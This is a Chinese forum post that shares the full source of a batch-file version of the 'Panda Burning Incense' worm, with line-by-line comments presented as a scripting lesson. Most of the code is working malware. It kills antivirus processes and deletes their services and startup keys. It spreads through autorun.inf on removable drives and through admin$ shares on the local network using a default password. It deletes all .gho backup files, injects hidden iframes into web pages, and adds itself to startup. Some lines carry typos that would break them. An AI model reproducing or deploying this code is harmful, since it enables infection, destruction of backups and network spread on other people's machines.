推荐榜 短消息 big5 繁体中文 找回方式 手机版 广 广告招商 主页 VIP 手机版 VIP 界面风格 ? 帮助 我的 搜索 申请VIP
客服
打印

[技巧] 批处理版熊猫烧香代码

购买/设置 醒目高亮!点此感谢支持作者!本贴共获得感谢 X 6

批处理版熊猫烧香代码

以下代码干不了什么坏事,但注释的较全,用来学习批处理,还是不错的。当然现在新手没几个会批处理了,老手对此肯定不屑一顾了。觉得有用的支持下,为我的LEVEL 2 啊。

以下是代码和注释:
REM 关闭回显
REM 为注释语句,本批处理中用来对代码做概括性的区分用途。各个具体讲解请见注释部分,批处理时执行时应当去掉这些。
@echo off
REM 中止系统中众多安全软件的进程
tskill Mcshield.exe  &  tskill  VsTskMgr.exe  &  tskill naPrdMgr.exe  &  tskill  UpdaterUI.exe  &  tskill TBMon.exe  &  tskill  scan32.exe  &  tskill  Ravmond.exe  &  tskill  CCenter.exe  &  tskill  RavTask.exe  &  tskill  Rav.exe  &  tskill  Ravmon.exe  &  tskill  RavmonD.exe  &  tskill  RavStub.exe  &  tskill  KVXP.kxp  &  tskill  KvMonXP.kxp  &  tskill  KVCenter.kxp  &  tskill  KVSrvXP.exe  &  tskill  KRegEx.exe  &  tskill  UIHost.exe  &  tskill  TrojDie.kxp  &  tskill  FrogAgent.exe  &  tskill  Logol  .exe  &  tskill  Logo  .l.exe  &  tskill  Rundll32.exe
REM tskill  是结束进程的命令,&  是一个组合命令,顺序执行,不管前面是否失败。
REM 启动木马程序
start /b  %systemroot%\system32\Sysdrv.com
REM start是打开文件,这里的sysdrv.com假定是一款木马。%systemroot%是个环境变量,默认是系统盘符下的windows目录
REM 遍历所有驱动器寻找可移动磁盘
for  %%i in (c d e f g h i j k l m n o p q r s t u v w x y z )  do  @fsutil  fsinfo  drivetype  %%i:>>%systemroot%\temp.txt
REM for是个循环语句,它属于批处理中的一个难点。FsutilFsutil是可用于执行多种与FAT和NTFS文件系统相关的任务,这里加上fsinfo是列出所有驱动器的信息,再加上drivetype就是查询一个驱动器的驱动类型。%%i是一个变量,这里分别将c、d、e至  z  的各个驱动器赋值给这个%%i的变量,然后用fsutil查询出驱动器的类型。最后的>>是输出重定向命令,>是将内容输出至一个文件,>>是在一个文件后紧跟信息,两个符号都可创建文件。简单来区别,>是替换原内容,>>是追加新内容。
findstr  /i  "可移动驱动器"  %systemroot%\temp.txt
REM findstr 是查找字符串的一个命令,用于从刚才被输入的temp.txt文件中查询以“可移动驱动器”为关键字的内容。这里的 /i 不是上面的驱动器变量,而是不区分大小写用参数。
if erorevel == l  goto  next
REM if  errorlevel == l 表示如果出错则执行的命令,后面跟着goto跳转语句,会跳转到以:next 为行号的地方继续。这里如果出错就代表上面 f o r 循环结果下来没发现一个带有“可移动驱动器”的盘符
if errorlevel= =0  goto  cop
:cop
for /f  "tokens=l" %%i  in ('findstr  /i"可移动驱动器"  %systemroot%\temp.txt')  do  @set  yidong=%%i
REM for  中的tokens  简单说是把kokens当作分列,这里就是分一列的意思,具体说明可以看for/?的帮助。这句代码中的单引号必须注意,加了单引号才表示in 里面的是语句。Do后面跟着要执行的语句,这里 set 是个赋值语句,将变量%%i赋值为环境变量yidong,例如检测出你的F 盘是可移动磁盘(后同),从此处起yidong就代表为f:了。
REM 向可移动磁盘内复制病毒
copy bat.exe  %yidong%\ /y
REM 注意 yidong 由于已经是个环境变量了,以后应用都需要用成对的%%括起来。 / y 参数表示不提示确认。
copy Sysdrv.com %yidong%\ /y
attrib +s +h %yidong%\Sysdrv.com
attrib +s +h %yidong%\bat.exe
if exist %yidong%\autorun.inf (
REM 对属性进行操作,由于某些人为防止可移动磁盘感染autorun.inf 类的病毒,都会先新建一个空白文件加上只读、系统隐身属性。这里遇到它就会被去掉属性后删除。当然,前面说了,如果你没这么防御则跳过此步。
del %yidong%\autonrun.inf
)
echo [AutoRun] >%yidong%\Autorun.inf
REM echo 是输出的命令,加上>重定向命令就是被输出到文件了。作用在于往移动磁盘里建有内容的文件。这句起后面的echo都是这个意思,后面将不作解释,只对echo后内容作解释。
echo shell\open\command=bat.exe>>%yidong%\Autorun.inf
echo shell\open=打开(^&O)>>%yidong%\Autorun.inf
REM 这里将打开作为右键显示的字,作用就在于感染后右键去打开可移动磁盘照样中毒。(所以说有些人说不怕可移动磁盘中毒,用右键来点打开就能进去了,这是错误的,比如遇上这个autorun.inf,你右键点打开,点资源管理器都会触发我设的病毒)
echo shell\explore=资源管理器(^&X)>>%yidong%\Autorun.inf
REM ^符号是转义字符。表示让后面的& 符号失去原有的连接命令的意义。这里加&  是加粗显示的用途。
echo shell\explore\command=bat.exe>>%yidong%\Autorun.inf
attrib  +s  +h  %yidong%\Autorun.inf
del %systemroot%\temp.txt  /q  /f
REM 删除刚才用于存放磁盘信息的临时文件
:next
REM 循环遍历磁盘,自动删除*.gho 文件
for %%a  in  (c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z)  do  (
if exist  %%a:\nul  (
for  /f  "tokens=*"%%b  in  ('dir  /s /b/a-d  %%a: \ *.gho')  do  del  ''%%b''  /q  /f
))
REM 这里是对各个磁盘的*.gho  文件进行查询,发现有就删除。比较恶意,仅做学习,勿搞破坏!
REM 循环遍历磁盘,自动对ASP、 ASPX插入网页木马代码
for  %%a  in  (c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z)  do  (
if  exist  %%a:\nul  (
for  /f  "tokens=*"  %%b  in ('dir  /s /b /a -d  %%a:\*.asp')  do  (echo  ^<iframe  src="http:/ /127.0.0.1"  width="0"height="0"  border="0"^>^</iframe^>>>  "%%b")
))
REM 注意一下,这句中用了多个转义字符  ^  ,因为<、>的符号都需要去除本意。这句的用途是对所有磁盘中的ASP  和  ASPX  文件插入网马代码,常看黑客防线的读者应该很熟悉了。
REM 循环遍历磁盘,自动对HTM、HTML插入网页木马代码
for  %%a  in (c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z)  do  (
if exist  %%a:\nul  (
for  /f  "tokens=*"  %%b  in  ('dir  /s/b/a-d  %%a:\*.htm')  do  (echo  ^<iframe  src="http://127.0.0.1"  width="0"height="0"  border="0"^>^</iframe^>>>  "%%b")
))
REM 修改以下值不显示隐藏文件
REGADD"HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL"  /v  "CheckedValue"  /t  REG_DWORD/d  0  /f
REM 此注册表文件的用途是不显示隐藏文件,这样用attrib  +  s  +h  加了属性的文件就不会被显示了。
REM 添加注册表使自己自启动
REG ADD  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run  /v  type  /t  REG_EXPAND_SZ  /d  "C:\WINDOWS\System32\bat.exe"  /f
REM REG  ADD  是对注册表进行添加操作。台 / v  后面跟项的名称,/t  后面跟数据类型, / f  表示操作为强制而不提示。
REM 删除安全软件在注册表中的键值
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RavTask  /f
REM 删除安全软件在注册表中的启动项,对安全软件进行破坏。
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  KvMonXP  /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v kav  /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  KAVPersonal50  /f  
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  McAfeeUpdaterUI  /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  "Network Associates Error  Reporting Service"  /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  ShStartEXE  /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  YLive.exe  /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v  yassistse  /f
REM 删除以下服务
sc  delete navapsvc
REM 这句用于删除服务。(注:Windows  2000没有自带sc命令,所以此病毒在window  2000系统上此项效果会失败。有心人可以在压缩包里带个sc,然后用copy  命令复制到system32 目录,就能正常调用它了,此处删除服务也就能起效了。)
sc  delete wscsvc
sc  delete KPfwSvc
sc  delete SNDSrvc
sc  delete ccProxy
sc  delete ccEvtMgr
sc  delete ccSetMgr
sc  delete  SPBBCSvc
sc  delete  Symantec  Core LC
sc  delete  NPFMntor
sc  delete  MskService
sc  delete  FireSvc

del  Sysdrv.com
del  bat.vbs
del  %0
REM % 0  是本体的意思,这里放在最后是执行完所有任务后,自动删除bat.bat  本身。(注:下面的局域网传播有个缺点,令批处理执行的速度大大降低,尽管我已经用了一n  1    w  1 的参数来减少等待时间,但从IP1-254还是得需要等待一段时间,这是Ping  命令的特性。我做的成品里没有将它加入,各位自行斟酌是否值得。)

REM 局域网传插
for  /f  "tokens=2  delims=:"  %%a  in  ('ipconfig  ^|  find  /i  "ip  address"')  do  (set  ip=%%a&&  goto  :gof)
REM 这句是先执行ipconfig 命令,然后查找ip address字符,delims  是分隔的关键字的意思,这里是以:为分割符,tokens  前面讲过,这里是分成两列的意思,这样就能获取IP地址了。
:gof
set  "ip=%ip:=%"
REM 这句的作用是将上面获取的IP地址前面的一个空格去除
for  /f  "tokens=1,2,3 delims=."  %%b  in ("%ip%")  do  (set ip1=1  call  :bb %%b %%c  %%d  %ip1%)
REM 这里是分三列,以.为分割符,将前三段IP分别赋予变量%%b、%%c和%%d,第四段设置默认为1,然后调用bb部分来循环。
:bb
set  IP=%1.%2.%3.%ip1%
REM 将刚才分割 取出的前三段IP与最后段的1拼起来赋值给名为IP的变量
ping  %IP%-n 1 -w 1 | findstr  /i  "time<"  &&  net  use  \\%IP%\ipc$  "123456"  /user:"administrator"  &&  copybat.vbs  \\%IP%\admin$  &&  REG  ADD  \\%IP%\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run/v    type    /t    REG_EXPAND_SZ  /d  "C:\WINDOWS\System32\bat.vbs"  /f
REM Ping的n参数表示Ping的次数,w参数代表超时间隔,单位为毫妙,具体大小自己调整衡量。网络状态不好的情况需要增大值才能准确,但牺牲的代价是整体速度。&&命令的功能与&相同,也是连接命令之用,区别在于若前句出错则不继续执行下面的命令,这样做也是为了减少等待响应的时间。这里的密码默认为123456,用字典也可以,或者用变量代替,用户名亦可以,这里不作讨论了,仅当附加功能。
set  /a  ip1+=1
REM 将最后段的IP累加,每次加1。参数/a代表后面的是数字型
if  %ip1%  1ss  255  goto  :bb
REM 如果末尾IP小于255则继续循环,反之就跳出循环。
Exit
本帖最近评分记录
  • codeer 金币 +6 不管你是否接受 红包敬上! 2008-8-15 09:12

点此感谢支持作者!本贴共获得感谢 X 6
TOP



当前时区 GMT+8, 现在时间是 2025-6-17 06:12